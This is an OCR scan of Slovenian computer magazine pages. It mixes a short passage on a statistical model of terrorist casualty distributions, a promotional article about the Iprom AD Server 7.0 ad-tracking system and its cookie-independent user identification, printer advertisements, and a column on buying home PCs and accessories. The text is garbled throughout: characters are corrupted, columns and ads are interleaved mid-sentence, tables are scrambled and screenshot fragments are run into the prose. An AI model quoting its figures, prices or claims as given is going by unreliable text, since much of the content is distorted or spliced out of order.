- kakovost

- eleganca
- oblika

GMC

Innovation & Design

- MUZAIR

matematicna struktura terorizma

Torej §tevilo -2,5 opisuje moderne vojne,
kot verjame omenjeni profesor. Naredil je
model za napoved distribucije 3tevila #rtev. V
njem so uporniki organizirani v osnovne celi-
ce (ne gre le za borce, temvet tudi za sredstva
in informacije), ki se lahko po potrebi zdruZi-
jo v ve&je skupine. Vsaka celica ima mo¢ ene
#rtve (ubije lahko eno osebo), &e pa se celice
zdruZijo, Stevilo #rtev sorazmerno poraste. Na-
¢in delovanja modela je preprost. V vsakem
koraku najprej izbere naklju¢no skupino — ver-
jetnost, da bo skupina izbrana, je sorazmerna
z njeno velikostjo (kljub vsemu so v modelu
najaktivnejSe male skupine). Izbrani skupini
nato dolo&ijo malo verjetnost razpada (1 %),
in &e ne razpade, se zdruZi z drugo naklju¢no
izbrano skupino. Cez &as delovanja modela
nastane stabilen sistem, rezultat pa je distribu-
cija velikosti skupin z eksponentom -2,5. Ker
je velikost skupine sorazmerna z njeno mo&jo
napada, to pomeni tudi distribucijo napadov z
razli¢nim 3tevilom Zrtev. Vse to pa velja le v
primeru, ko je verjetnost razpada skupine raz-
meroma majhna.

F.UN.T.E.C.H. (www.funtech.si), Tl (www.mimovrste.si), GAMBIT TRADE (www.enaa.com), K-NET (www.nakupi.net)

Uradni zastopnik za Slovenijo:

1ZID, d.o.0, Jesenice

spletna trgovina: www.izishop.net www.izid.si
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Ucinkovito spletno oglasevanje

V dobi veckanalnega trznega komuniciranja, ko spletno oglasevanje med zakupniki medijskega prostora vse bolj pridobiva
veljavo, sta natan¢no medijsko nacrtovanije in optimiranje oglaSevalskih akcij klju¢ do uspeha tako narocnikov spletnega

oglaSevanja kot tudi spletnih zaloznikov.

PiSe: Tomaz Lukman
tomaz.lukman@mojmikrosi

novim oglasnim stre?nikom Iprom
AD Server 7.0 je Iprom spletnim za-
lo¥nikom ponudil napredno tehnolo-
gko reditev za distribucijo, ciljanje in
sledenje oglasnega gradiva v spletu, s &imer
imajo na voljo bolj smotrn nadin spletnega
oglaSevanja. Za poro¢anje in sledenje namred
uporabljajo Ipromove strefnike, pri tem pa
se obcutno zmanj$ajo stroski infrastrukture
in povelajo oglaSevalski prihodki. Najnove;si
Iprom AD Server 7.0 je bolj prilagodljiv, po-
nuja boljsi nadzor nad oglasnim prostorom, pri
tem pa se izogiba oviram pri serviranju oglasov.
Oglasni stre?nik odlikujejo Stevilne novosti s
poudarkom na najsodobnejsih oblikah cilja-
nja, podpori razli¢nim oglasnim formatom,
standardiziranemu merjenju in poroanju, na-
predni uporabi zbirk podatkov pri spletnem
medijskem nadrtovanju ter optimiranju ogla-
Sevalskih akcij.

Iprom je v svoj izdelek vlo%il sedem let raz-
voja ter najnovejfa domaca in mednarodna
spoznanja s podrodja internetnega oglagevanja,
s Cimer se danes uvri¢a v svetovni vrh pro-
gramskih regitev za izvedbo oglaSevalskih akcij
na spletnih medijih. Programska regitev je tudi
v celoti zasnovana v skladu s priporo&ili med-
narodne organizacije IAB, s katero v druzbi Se
treh evropskih podjetij sodeluje pri oblikovanju
standardov za spletno merjenje in porocanje.

ZASNOVA RESITVE

Sistem Iprom AD Server ima spletno za-
snovo, zato celotna administracija poteka prek
enostavnega spletnega vmesnika, ki uporablja
jezik javascript. Stre¥nik vsebuje kompleksno
uporabnisko strukturo, dostopno prek inter-
neta ne glede na lokacijo uporabnika. Upo-
rabniski ratun imajo tako skrbniki medija kot
tudi oglaSevalci, ki jim omogoca neposredno
spremljanje poteka akcije v realnem ¢asu. Na
uporabnigkih straneh so tako ves ¢as dostopni
podatki o u¢inkovitosti akcije in njenem do-
segu. Porotila se ustvarjajo na uro, vsebujejo
pa podrobne podatke o uporabnikih glede na
posamezno akcijo, oglas, spletno stran, oglasno
mesto ... Pri tem so vsa porotila podprta s tridi-
menzionalnimi grafi in mo¥nostjo izvaZanja v
Microsoft Excel. Administratorske dejavnosti
se bele%ijo v dnevnik, ki tako omogoca boljsi
nadzor nad dodajanjem oziroma spreminja-
njem oglasnega gradiva na mediju.

Oglasni stre?nik vsebuje jasna navodila za
pripravo oglasov, tako da oblikovalci oglasov

44

ter njune noveje razlicice,

kakor tudi oglasni premor
in besedilne povezave.
Medij lahko oglasevalcem

omogoti preizkusanje pri-

73073 56,095 +31,514 4
Tedenski doseg 27 695 36383 +1973%
Povpreén dnewnl doseg 9 E86 7859 #73,374 9

kazovanja oglasnega gradi-

va, kar popolnoma izklju-
Cuje mo¥nosti napak.
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: ; Prej$nje razliCice pro-
e e o g gramske reSitve oglasnega
. jur, 2008 Bz 2481 33087 Y~ :
b ] ] ne strez.mka $0 za uporabl]lzjlle
1.5, 2008 5491 ] o klasi¢ne programske prije-
12. i, 2005 9007 3100 39565 g X
(EX% - BT/} 3on I me ter shranjevanje poda-
(ki == Eial e tkov v podatkovnih zbir-
1.4, 2008 1001t T ERL] s5205 kah. Pri tem je pri okvarah
17, jund, 2005 iy 10,714 % 1515 SEE0
15, 2008 a2t 55 % 2417 0227 obstajala nevarnost izpa-
19. junif, 2008 13923 STT160 % 401 63238 v .
2., 005 vases T ) sea dov oglaSevanja. Z novo
e e L = s razli¢ico so to nevietnost
Povpreéno (skupaili_7.858 0005 3353 (dan 13173 (meseéni doseq) odpravili tako, da deluje

na naelu navideznega

Iprom je v svoj izdelek vlogil sedem let razvoja ter

najnovejsa domaca in mednarodna spoznanja s
podrocja internetnega oglasevanja, s Cimer se uvrséa v
svetovni vrh programskih resitev za izvedbo oglasevalskih

akcij na spletnih medijih.

lahko brez te¥av pravilno pripravijo oglase za
prikazovanje na mediju. Iprom AD Server pod-
pira vse najsodobnejse tipe spletnih oglasov:
klasi¢ne oglase v katerem koli formatu, razteg-
ljive klasi¢ne oglase, multimedijske oglase vseh
dimenzij in formatov, ki jih podpirata Micro-
soft Internet Explorer 5.5 in Mozilla Firefox 1.0

Wtk e pe el e (e R e e
D#E SRY 1 BA-9 o Rr-i 5 B -0

porazdeljenega okolja. Omogota namre¢ po-
vezavo neskon&no velikih grug stre¥nikov, ki
navzven delujejo kot en sam, zmogljiv ratu-
nalnik. Pri izpadu enega stre?nika znotraj gruce
sistem omogoca hitro zamenjavo slednjega brez
vpliva na delovanje, obenem pa skrbi za poraz-
deljeno obremenitev med razpoloZljivimi stre?-
niki. Ker stre?niki med se-
boj delujejo enakovredno,
ima vsak strefnik ves Cas

ramx

Giticam 2% @ ™ . O b At . AOCHAQER 2-d-rA-mm=Ag.
- s i FEEMPx, UA FE b A, et PN e,
- SR )
| S S | ¥ % (] T ® ] T W =
i S e G Calnesta 104, 990 Usbijans
IPROI Tabeisactib 31 18 TR Faubi 31 10140
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na voljo popoln dostop do

vseh podatkov, kar pripo-

more k njihovi afurnosti.

S tem je omogoceno tudi

hitrejse delovanje, saj za

ARATY Testn bt

shranjevanje ~ podatkov
Iprom AD Server uporab-
lja hiter pomnilnik na-
mesto polasnejsih  trdih

BEEnRRERE=E

'\ Fovnennk . Bl ke - Wl D/

diskov, na katere se poda-
tki shranjujejo le za primer
izpada elektri¢ne energije.
Nacelo delovanja navidez-
-t o nega porazdeljenega okolja

LIAALEE ] enEon s e ’ I oglasnega streznika je tako
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PROFESIONALNO
TISKANJE s
tiskalniki ZEBRA!

Tiskalnik ZEBRA LP 2844

v doseZene rezultate. Pri tem uporabniki niso
zapostavljeni, saj jim lahko nudijo karseda ka-
kovostno uporabnisko izkusnjo.

IPROM NEOS ZA OBVLADOVANJE
SPLETNEGA OGLASEVANJA

V okviru prenove programske opreme Iprom
AD Server 7.0 je Iprom posodobil sistem za

enako porazdeljenim spletnim tehnologijam, ki
jih uporablja tudi spletni iskalnik Google.

Z NAPREDNO TEHNOLOGIJO
PISKOTKI NISO OVIRA

Ipromova programska reSitev je zasnovana
na naprednih algoritmih za identifikacijo ra-
&unalnikov, povezanih v internet, pri tem pa

— L[ -Bodsj e}

nadzor in ocenjevanje spletnih
oglagevalskih akcij NEOS, ki je na-
menjen oglafevalcem, agencijam in

Praktiéni namizni tiskalnik etiket in értnih kod!
» direktni termalni tiskalnik za nalepke, érine kode...
o Hitrost: do 102 mm/s, loéljivost: 203 dpi

Pikaaovaega o dlocanihureh ) . . « Sirina tiska: do 104 mm
Prkazovaega ob dototani urah gheda na dan vtednu zakupnikom medijskega prostora, ki o 512 KB Flash. 256 KB SRAM -

| ——t 5

otenim

sl

Oglas nal ee

Pricazorsarye upoeshrikm  fash lisgiram
pitkatuje samo na | Prikazoverss dolotenim Cookie ID-jem

pe

berv izheribe sirani oz podstrani, na katerih naj sa
AT

B, klikril QUG “odstrani ke 1o by

potrebujejo u¢inkovito orodje za ne-
odvisno merjenje in centralno poro-

Oglas naj 5w
firikatuje aamd itbranin abmodam IF naslou.

(zabotid 1P| owwind @ wreiania |

ga oglaSevanja v medijski nacrt.
Novi NEOS je dofivel prenovo

bar nato shranite nasbivibes na dnu slraed

Oglas naj 5e

A verzija Fiash pluging &

Brikanie 48 §8ma 18 izbeasdh worziish Flash phusging

Qidjukate verzio Flash pluging, pod katerimi bi Seies,
- 1 @ OghNe prikaziufe ozinoma ne prikaule,

WV keaibkor Bt iter odatrans, Mikeita gumib “odstrani

W halikase Belli odalrand podaenaing obenodss 1P nasliny,
ifinite na gum "odstrant poleg posameznaga cbmodja

'\ lenifkoe besite fiter v oelol ndstrans, Mikeite guenb *odsiani Glier|

statisti¢nega paketa, s katero so dose-
gli ve¢jo preglednost in razumljivost
pridobljenih podatkov. Naro&niki
oglagevanja tako dobijo neodvisne
statistike o $tevilu dejanskih prika-
zov spletnega oglasa in neposredni

00 verzija Fraeh plugina 7 fitar tor natn shranfie nastivig na dou s¥an,
(2 verziia Fash ghugina 8 i i ¢
8 v o s ) odzivnosti na oglas. NEOS omogoca

tudi poroCanje o skupnem dosegu

Oglas naj 3¢

prikazuje sama itbrani iradinosi useragant-a

Kjer useragent vaebuge niz fhotbarlcool.jmen.”/ X

Za dodijanje na

gumib “pdstrant poleg posameme madiinasii

W ikliker
Hikrita na

spletne oglasevalske akcije, prav
tako pa tudi o neodvisnem dosegu
po posameznih medijih, vklju¢enih
v oglasevalsko akcijo. Porogila vse-

V kolikor fier i,
161 3k BhERNAG ASEE N cew Tranl

Cglas s 80

prkanje

Hjer hostnams vaubue niz fa.y %

2a L na

Tedsrani polag posamaze matiingst,

' kaiikor buline Anes v calotl odiranill, kiknite gumb “odsirasd fiter

o nato shranie nastae v dou skani.

SHRAN FILTRE ©

poleg vrste parametrov v razli¢nih kombinaci-
jah uposteva tudi uporabnike, ki blokirajo ali
brisejo piskotke. To je po Ipromovih podatkih
vsaj enkrat storilo 19 odstotkov uporabnikov
slovenskih spletnih medijev, trend pa se $e po-
vetuje. Med tistimi, ki briSejo ali blokirajo pi-
Skotke, pa jih 78 odstotkov svoje ratunalnike
&isti vsaj enkrat na mesec.

Posledica brisanja in blokiranja piskotkov

. knlikee
ilknite na gurib

bujejo podatke o dosegu po dnevih
ter Stevilu novo dose?enih uporab-
nikov. Statistike ponujajo vpogled v
optimalen medijski zakup na posa-
meznem mediju glede na cilje ogla-
Sevalske akcije.

NEOS lahko deluje kot samosto-
jen oglasni stre?nik in podatke pri-
dobiva prek programske kode, ki je

pri oglaSevanju s spletnimi oglasi vstavljena
spletnih straneh oziroma poleg oglasov. Mogo-
&e pa ga je tudi povezovati z reSitvami za distri-
bucijo spletnih oglasov, kakr¥na je Iprom AD
Server, s ¢imer zagotavlja sledenje porazdelje-
nim spletnim oglasnim gradivom po razli¢nih
medijih. Zaradi tega je mo¥no izvesti celoten

spletni medijski zakup pri enem samem ponud-

niku, kar poenostavlja in povecuje u&inkovi-

» vmesniki: RS232,
paralelni, USB v.1.1

WO i mﬂﬁﬂﬂimfﬂ'“" Canje uveljavljenih oblik spletnega ghieta: samo 1.5kg LA
oglagevanja. Ponuja jim standardizi-
Ooias a8 pikaze sema ob zhesen o ot 1ol 0 10 s sy oo rano porolanje o poteku oglageval-
Ow IEE o= - i skih akcij, ki se isto¢asno odvijajo
Da ”s: E: '"t_"r::::""""“ pri razli¢nih ponudnikih spletnega ¢
= B B oglasevanja in vklju¢ujejo razliéne , ~% _
Bu B ER oglagevalske modele. S tem naro¢- Cena brez DDV: 66.666,00 SIT!
2 HS = S; niki pridobijo nepogresljive podatke Cena z DDV; _79.999 sit
Ox [B2 [Ba za u¢inkovito vklju¢evanje spletne- [RUPar e

Tiskalnik ZEBRA S4M

Enostavno in zanesljivo industrijsko tiskanje
o direktni termalni tiskalnik za industrijsko rabo

» loéljivost 203 dpi

« §irina tiska 104 mm

o hitrost tiska_152 mm/s

Cena brez Dﬁ(l 149.999,00 SIT!
Cena z DDV, 179.999 sit "

Tiskalnik ZEBRA Z4Mplus

Posebej ojacan za zahtevna industrijska okolja!
¢ termalno transferni in direktni termalni tiskalnik

za industrijsko rabo e -
o logljivost 203 dpixSirina-tiska 104 mm
o hitrost tiska 254, m
e vgrajen Print;-S,‘q_
e izredno hiter in e

——

je izkrivljanje podatkov spletnega merjenja,  tost zakupa spletnega oglasnega prostora. Cena brez DDV'—zos. 3.00 SIT!
ki temelji samo na piskotkih, saj po eni strani Iprom s svojimi naprednimi tehnoloskimi Cena z DDV: 249.999 sit y
zviSujeta doseg spletnih oglaSevalskih akcij, po  reSitvami zagotavlja stalen razvoj slovenskega —

drugi pa zmanjsujeta njihovo frekvenco. Glav-
na pomanjkljivost neprilagojene programske
opreme pa sta negativna uporabnigka izku$nja
in posredno negativen vpliv na oglajevalca.
Zaradi nedovzetnosti na vpliv brisanja in
blokiranja piskotkov so spletne oglasevalske
akcije in meritve z Ipromovim stre?nikom ka-
kovostne, oglagevalcem maksimirajo spletna

medijska sredstva in ponujajo realen vpogled

spletnega oglagevalskega trga. To dokazujejo
tudi podatki, da so Ipromovi naro¢niki v prvih
treh mesecih tega leta oglasevanju s spletnimi
oglasi namenili 150 odstotkov ve& sredstev
kot v istem obdobju lani. Ocene kaZejo, da bo
v letu 2007 dele? spletnega oglagevanja v slo-
venskem oglaSevalskem kolatu presegel mejo
dveh odstotkov.

Dodatni popusti in nagrade v
nasi spletni eTrgovini!

/,d\rou)me

AdkerGeva 4a, 3310 Zalec EMG, Celovika 136, 1000 Ljubljana
tal- 03 712 15.00; fax: 03/ 712 15 66 tel: 01/ 500 74 20; fax. 01/ 500 74 25

MIKROPIS Holding

Vsi izdelki so na voljo tudi v nasi spletni trgovini:
www.mikropis.si

Cang so informativive m veliaro Ta fakopdnge pladdo do mzprodaje zalog, Shike so smboing.
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Pestro-siromasna
ponudba v nasih

",

Ponudba racunalnikov v nasih i}

trgovinah je po eni strani
silno pestra, saj je na voljo
veliko modelov razli¢nih
proizvajalcev v vseh
cenovnih razredih. Po
drugi strani pa se i
raCunalniki med seboj
komaj kaj razlikujejo.
Poglejmo najprej, kaj se je
spremenilo v enem letu, odkar
smo obdelali isto temo.

PiSe: Zdenko Frangez
zdenko.frangez@mojmikro.si

a prvi pogled bi rekli, da ne veliko.

Racunalniki so zmogljivejsi, saj so

se %e kar dodobra udomadili tudi

64-bitni in dvojedrni procesorji.
Grafi¢ne kartice so zmogljivejse. Tu ni veliko
dvomov. Trdi diski so postali ve&ji in na videz
cenejsi. A zdaj potrebujemo seveda ve& prosto-
ra in smo pribliZno na istem.

Zastopanost pomnilnika v domacih ratunal-
nikih se ni bistveno povecala. Se vedno ima
vecina »konfekcijskih« ra¢unalnikov vdelano
512 MB pomnilnika. Tukaj vsaj jaz ne opazim
silnega napredka. Saj napredek je, a ne tak kot
pri drugih komponentah. Vsaj koli¢insko ne.
Pri opti¢nih medijih je precej drugade. Ne ver-
jamete? Poskusite kupiti CD-zapisovalnik. Vas
bodo debelo gledali. DVD-enote so pa& cenov-
no preved ugodne, mediji so poceni, torej ni
razloga za CD-zapisovalnike. Kaj $e?

Ohisja. Hmja. Morda so v povpre&ju neko-
liko privla¢nejsa na pogled, v ve¢ barvah in z
ve¢ pritiklinami v obliki lu¢k, ventilatorjev
in Se ¢esa. Toda kakovostno ohisje
je $e vedno dokaj drago. Ce ne za-
voljo drugega pa zato, ker je bolj
»in« kot tisto poceni.

Tipkovnice so postale pravcatii
majhni oltarji ratunalnistvu. Je tre-
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ba %e brskati, &e Zelimo tipkovnico, ki bo rabila
namenu in ne bo ozalj$ana z vsemi mogo&imi
dodatnimi tipkami, koles¢ki in %e &em. Vse-
kakor je na trgu vsaj po mojih izkuinjah ve&
lepih kakor dobrih tipkovnic. Toda ne poslu-
Sajte kroni¢nega pisuna, ki si s tipkanjem po
tipkovnici slu?i denar. Taksni smo sila obcut-
ljivi na to, ¢emu je tipkovnica namenjena in
kako se mora obnagati. Ve¢ina uporabnikov pa
tega v resnici ne doZivlja tako, saj ve& rokujejo
z misko kot s tipkovnico.

Torej, miske. Te so postale e skoraj Cisto vse
opti¢ne in vse ved jih je brez repa, torej brezZi¢-
nih. Ja, miske so se izboljfale. Vsaj tiste draZje.
Tehnologija je napredovala in zdaj %e vsi stegu-
jemo roke po takih, ki se
Cudovito odzivajo na
vse nase premike. Tudi
najmanjSe, Cetudi

tega v resnici ne potrebujemo v toliksni meri.

Se vedno pa je videti nekaksno zapostavlja-
nje ergonomije misk in tipkovnic. Kot da se
ene bi zavedali, da je tudi nase zdravje v dobri
meri odvisno od primernih naprav. So le nag
edini pravi stik z ratunalniki in prav bi bilo, ¢e
bi se njihovi kakovosti malce bolj posvecali.

Pa smo pri zaslonih. Uf, tu pa je kar nekaj
sprememb. LCD-zasloni, seveda. Saj so bili %e
lani, a lani je $e kdo kupil CRT-zaslon. Dan-
danes %e bolj terko. Namesto 15-palénih zdaj
kupujemo 17-paltne, tisti ki takine imeli %e
lani, pa danes gledajo v dve Stevilki ve&je. Ja,
pocenili so se. Tudi izboljsali. Glavno pa je, da
so postali veliko dostopnejsi.

In svet ne stoji le na namiznih racunalni-
kih. Ponudba prenosnikov se je prav ocitno
povelala. Prav tako bi si Se lani tetko pred-
stavljali, da bo letos mogoce kupiti nov pre-
nosni racunalnik v cenovnem razredu sto-
petdesetih tisotakov. Ja, ja, saj niso bog ve
kaj, a so, in to je pomembno. Zmogljivejsi
prenosniki z nekoliko bolj$im ohisjem Se
vedno dobro kotirajo, v splonem pa so se
prenosniki pocenili in bolj posegamo po njih.

Videti pa je, da ne toliko zato, ker potre-

’ bujemo mobilnost, temve& bolj
zato, ker so priro¢ni, zasedejo
manj prostora, lahko jih nese-
mo na vikend ... navadno pa le od
ene do druge vti¢nice. Kaksne so zahteve
uporabnikov, se dobro vidi %e baterijah, ki jih
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vdelujejo proizvajal-

ci. Bi pri¢akovali, da se bo na podrovéju avto-
nomije veliko spremenilo, pa se ni. Se vedno
vedina prenosnikov prenese nekako med dve-
ma in tremi urami brez potrebe po vti¢nici.

In Se zanimivejsi pojav oparam. Cedalje
vedja je ponudba racunalnikov vseh vrst v
supermarketih. Ne prav dale¢ od lubenic in
krompirja ter v neposredni drubi s poceni bu-
dilkami. Mene je groza. Vecine uporabnikov
pac ne, saj gre navadno za rac¢unalnike, izdela-
ne v velikih serijah, kar pomeni tudi nekoliko
ni%jo ceno. Pa niti ne gre za kak$ne kaj-vem-
od-kod rac¢unalnike. Navadno gre za vsaj pri
nas znana podjetja, ki tudi v racunalniskih
trgovinah prodajajo racunalnike. Celo je Ze
mogoce najti tudi v supermarketu trgovce, ki
vedo kaj povedati o ra¢unalnikih. Kako pa ne
bi? Saj jih tudi sami doma uporabljajo.

Kakor koli, ponudba ratunalnikov v nasih
trgovinah je velika, izbira pa s tem ni¢ kaj la%-
ja. Vsaj tistim ne, ki pri ra¢unalnikih pogleda-
jo Se kaj druga kot le ceno.

V CELOTI ALI PO DELIH?

Smo %e pri naslednjem Zgotem vpraSanju.
Ali kupiti %e sestavljen ratunalnik ali se zadev
lotiti v potu svojega obraza?

Zadeva je odvisna od kopice dejavnikov.
Dejstvo je, da so na nasih policah tudi ra¢unal-
niki podjetij, ki v svetovnem merilu ponujajo
dokaj poceni ratunalnike. Seveda se nasa pod-
jetja ne dajo in poskusajo s ceno konkurirati.
Kako poceni bo ra¢unalnik, pa je seveda precej
odvisno od tega, koliksno serijo si lahko pod-
jetje privosei. Ce kupite kontejner procesorjev,
kontejner trdih diskov in primerljive kolici-
ne druge navlake potem bodo nabavne cene

smrtniki kupimo komponente v trgo-
vini. Seveda je treba racunalnik tudi
sestaviti. Kar spet ni ¢isto zastonj. In
cena se nekoliko zvisa. Potem je tre-
ba zadevo preizkusiti in prodati. Tudi
prodaja nekaj stane. Seveda pa je ra-
Cunalnik Se vedno cenejsi, kot &e bi
ga sestavljali sami, in garancijo ima
od enega do dveh let.
Ce se zadeve loti podjetje, ki
si ne more privositi tako veli-
kih serij, so cene visje. Zato izginja podoba, ko
vsaka ra¢unalniska trgovinica sestavlja lastne
racunalnike. Pri nas tako sestavlja racunalni-
ke nekaj ve¢jih podjetij. Te prodajajo manjsi
trgovci ali pa romajo v nakupovalna sredi¢a.
Seveda imajo tudi lastne trgovine, kjer lahko
kupimo iste ali vsaj podobne modele. Ne prav
male racunalniske trgovine prodajajo mes$ano
ponudbo drugih proizvajalcev in se morda lo-
tijo kaksnega lastnega modela. Manjsi trgovci
pa pac prodajajo to, kar se jim splaca. In ce se
njim ne splaca sestavljati rac¢unalnikov, kako
bi se nam?

Pa ni tako preprosto. Ce potrebujete racu-
nalnik za vsakdanje delo in ¢e to delo ni po-
sebej zahtevno za ratunalnik, potem je popol-
noma vseeno, kje in kakSen racunalnik kupite.
Ce so vase zahteve nekoliko bolj specifi¢ne, pa
boste terko nasli sestavljen model, ki bi vam
v popolnosti ustrezal. A navsezadnje tudi avto
kupite s sprejemanjem kompromisov. Morda
vam ni Cisto vied, peljete pa se le.

Ste opazili, da je v veini raunalnikov $e
vedno 512 MB pomnilnika? Seveda vam bodo
trgovci radi povedali, da za resnejse delo po-
trebujete ve¢ pomnilnika. Seveda imajo prav.
In vam prodajo dodaten pomnilnik, recimo
deset presernov boste primaknili in bo zade-
va urejena. Hja, ampak racunalnik ne bo ve&
stal toliko kot v katalogu. Cene v katalogu pa
morajo biti konkurenéne, sicer ne boste sto-
pili v prav v to prodajalno. Pa ni to samo pri
pomnilniku. Dober trgovec se bo pozanimal o
vaih potrebah. Dva tiso¢aka tukaj, dva tam
in iz trgovine boste odsli z veliko boljsim, za
vas ustreznejsim racunalnikom, pa tudi s precej
tanj$o denarnico.

osebni raCunalniki: nakup

»konfekcijski« ratunalnik. Ceccce. Ce so vase
zahteve precej specifi¢ne, lahko pri katerem od
trgovcev naroéite ra¢unalnik po svoji zamis-
li. Ali pa vam bodo trgovci svetovali, kaj bi
bilo najbolje. Seveda je tak racunalnik dra%ji.
Za namecek vam bodo zatrdili, da ¢e vdelajo v
raunalnik vse, kar ste si zamislili, ne morejo
zagotoviti, da bo tudi vse delovalo, kot je tre-
ba. Kar je celo res, do neke mere. Potem bodo
morali zadevo dobro testirati in spet bo cena
mavlenkost vigja. Ne veliko, a pocasi se nabere.

Ce ste ratunalnik Ze sestavljali, e se zave-
date vsega, kar vas ¢aka, in e veste tudi, kako
postoriti vse drugo, kar je potrebno, da bo ra¢u-
nalnik deloval zanesljivo, se lahko mirne vesti
zadeve lotite tudi sami. Seveda ne boste sesta-
vili cenejSega ratunalnika, kot so »konfekcij-
ski«. A v njem bo prav vse, kar ste si Zeleli, to
pa seveda nekaj stane. In za konec $e majhen
nasvet. Ce boste v eni trgovini kupili prav vse
ali ve¢ino delov, le potegnite trgovca malo na
stran in mu priSepnite, da bi lahko dobili maj-
hen popust. Ve&ina vam bo prisluhnila. Res ne
boste dobili veliko, a vsaj za kaksno pivo boste
na koncu prihranili. Ve& pa je vreden ob¢utek,
da ste tudi vi nekaj iztisnili iz trgovca.

Nujni in manj nujni dodatki

Ob nakupu racunalnika ali kmalu za tem pa
ugotovite, da se zadeva $e ni kon&ala. Ra¢unal-
nik je postal druZinski ¢lan, in &e ne drugega,
vsaj za bo%i& mu je treba kaj kupiti. Malce heca
ne kodi, a res boste ugotovili, da potrebuje-
te Se veliko re&i. Ene so bolj druge manj po-
trebne, prav vse pa bodo delale zgago na vasi
pisalni mizi.

Zvoéniki

Zvoeniki so Ze ena
od redi, brez katere ne
gre. Odkar znajo racu-
nalniki tako &udovito
predvajati glasbo, fil-
me, poganjati Cudovite
racunalniske igre in $e
kaj, je to seveda nujen
dodatek. Seveda je na
voljo veliko ra¢unalni-

W\

smesne proti cenam, po katerih lahko navadni In e vedno ste prepri¢ani, da ste kupili  $kih zvo&nikov — takih ="
VSTOPNI (do 220.000 SIT)
Cena (v SIT) | 197.340 159.990 207.740 155.640 169.990 211.100
Monitor 15,1024 x 768 15,1024 x 768 15", 1024 x768 15,4", 1280 x 800 15", 1024 x 768 15", 1024 x 768
Procesor Intel Celeron-M, Intel Celeron-M, Intel Celeron-M, Intel Celeron-M, Intel Celeron-M, Intel Pentium-M,
1.5 GHz 1.4 GHz 1.6 GHz 1.4 GHz 1.4 GHz 1,73 GHz
Pomnilnik | 512 MB, DDR 400 512 MB, DDR 333 512 MB, DDR2 533 512 MB, DDR2 533 512 MB, DDR 333 512 MB, DDR2 533
Trdidisk | 40GB 40 GB 80 GB 40 GB 40 GB 60 GB
Grafika Intel GMA900, do 128 MB | SIS, do 64 MB Intel GMA900, do 128 MB | Intel GMAS00, do 128 MB | Intel GMA900, do 128 MB | Intel GMA900, do 128 MB
Wi-FI 802.11b/g 802.11b/g 802.11a/b/g, Bluetooth 802.11b/g 802.11b/g 802.11a/b/g
Optima DVD+-RW(DL) DVD+-RW(DL) DVD+-RW(DL) DVD+-RW(DL) DVD+-RW(DL) DVD+-RW(DL)
0S Windows XP Home, angl. | Windows XP Home, angl. | Windows XP Home, angl. | Windows XP Home, angl. | Windows XP Home, angl. | Windows XP Home, angl.
Drugo - - - - bralnik pom. Kartic 4v1
Garancija | 1 leto 2 leti 2 leti 1 leto 1 leto 2 leti
Teia 2,7 kg 2,75 kg 2,86 kg 2,96 kg 2,75 kg 2,85 kg
Prodaja ElkoTex BOF Gambit Trade FMC Big Bang Comtron

Opomba: To je nekaj primerov dobrih nakupov, saj je vseh razli¢nih modelov in konfiguracij
na slovenskem trgu preprosto prevec, da bi jih lahko zajeli v normalno veliki tabeli.
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za slaba dva tiso¢aka in takih, ki stanejo
ve¢ kot moj avto. Pa¢ imam poceni
avto.

Stereo zvoniki so ¥e malo iz
mode, imeti morajo vsaj $e basov-
ski zvoénik. A tudi &isto navadni
zvotniki so ve¢ kot dovolj vecini
uporabnikov. In &e ne drugje, bo- ) \'
ste nasedli na obliko in barvo. / if;
Ker samo ohisje rac¢unalnika
ni ve¢ samo pusto belo ali
&no, je treba najti ustrezne
zvotnike. Navadno niso prav
dosti boljsi ali sploh ne od # |
ustreznih »grdih«, ki na vaso
mizo ne »pasejo«. Izbira je dokaj
velika. Cenovni razredi so ustrezno
raztegnjeni do vrtoglavih visin. Prostorski
zvoeniki da ali ne ob raunalniku? Odvisno od
tega, ali jih boste tudi uporabljali. Kot pri vsa-
ki drugi zadevi velja dobro premisliti. Izberite
zvocnike, ki bodo ravno dovolj dobri za to, kar

nameravate z njimi poceti.
: I Ce boste v eni trgovini
kupili prav vse ali

vecino delov, le potegnite
trgovca na stran in mu
prisepnite, da bi lahko dobili
majhen popust. Vecina vam
bo ustregla.

Slusalke z mikrofonom

Slusalke so zadeva, s katero se silno stri-
njam. Ob delu namre¢ rad poslusam glasbo,
pa s tem ne nadlegujem druZine. Slusalke tudi
pomagajo pozabiti na okolje in tako vas bo pri
delu motila samo Se glasba po vasi izbiri. Ka-
kovost slusalk je seveda pomembna. Pa lepo
vam morajo sesti na glavo, in &e vas bodo po
dolo¢enem ¢asu bolela usesa, ste se odlo¢ili za
neustrezen model.

Zadnje Case je silno priljubljeno klepetati
prek interneta. Skype je %e skoraj zapovedana
modna muha, ki v resnici lahko silno koristi,

&e Yelite poceni klepeta-
ti s kolegi in sorodni-
ki na drugem koncu
sveta. V takSnem
primeru se odlo&ite
za komplet s ka-
kovostnim mikro-
fonom. Ze nekaj
tolarjev ve& lahko
pomeni silno razli-
ko v kakovosti zvo-
ka, ki ga bo delefen vas
sogovornik. Potem lahko
samo $e upate,da razmislja
podobno kot vi.

Ce slusalk z mikro-
fonom niste vajeni, pa
sona voljo e tudi Sky-
pe in podobni telefoni. Potem je telefoniranje
prek interneta resni¢no podobno klasi¢nemu
telefoniranju. Seveda tudi te naprave nekaj
stanejo, eprav so v resnici edalje dostopne;j-
Se.

Je pa hec, ¢e malo bolje pomislimo: mobilni
telefoni so nam ob¢asno preved nerodni, in ker
je udobje pomembno, si omislimo tudi slugal-
ke. Aja? Za telefoniranje prek interneta pa si
morda celo isti ljudje kupujejo telefonske slu-
Salke. Ali pa je to samo meni ¢udno?

Slusalke z mikrofonom so seveda uporabne
Se za kaj druga. Vse vel se doma tudi izobrazu-
jemo in uenje tujih jezikov je %e ena od silno
priljubljenih zadev. Poleg
programa potrebujemo
tudi slusalke z mikro-
fonom, saj novejsi
programi preverjajo
tudi natanénost in
razumljivost naSe iz-
govorjave.

Spletne kamere

Spletne kamere so zelo
zanimiva zadeva. Uporabna za
videokonference z resnim ciljem
ali pa za malo druga¢no pomen-
kovanje z znanci. Kljub razmahu
Sirokopasovnih prikljutkov v sve-
tovni splet pa spletne kamere prav

trmasto vztrajajo pri lo¢ljivosti 640 x 480 pik.
Kar je sicer dovolj, a bi si v danagnjem ¢asu
Yeleli tudi kaj ve&. Spletno video klepetanje pa
pri ve¢ini uporabnikov izgubi privla¢nost e po
kratkem &asu. Potem kamere samevajo tam,
kjer so odloZene. Neizkoris¢en potencial pa je
silno draga zadeva.

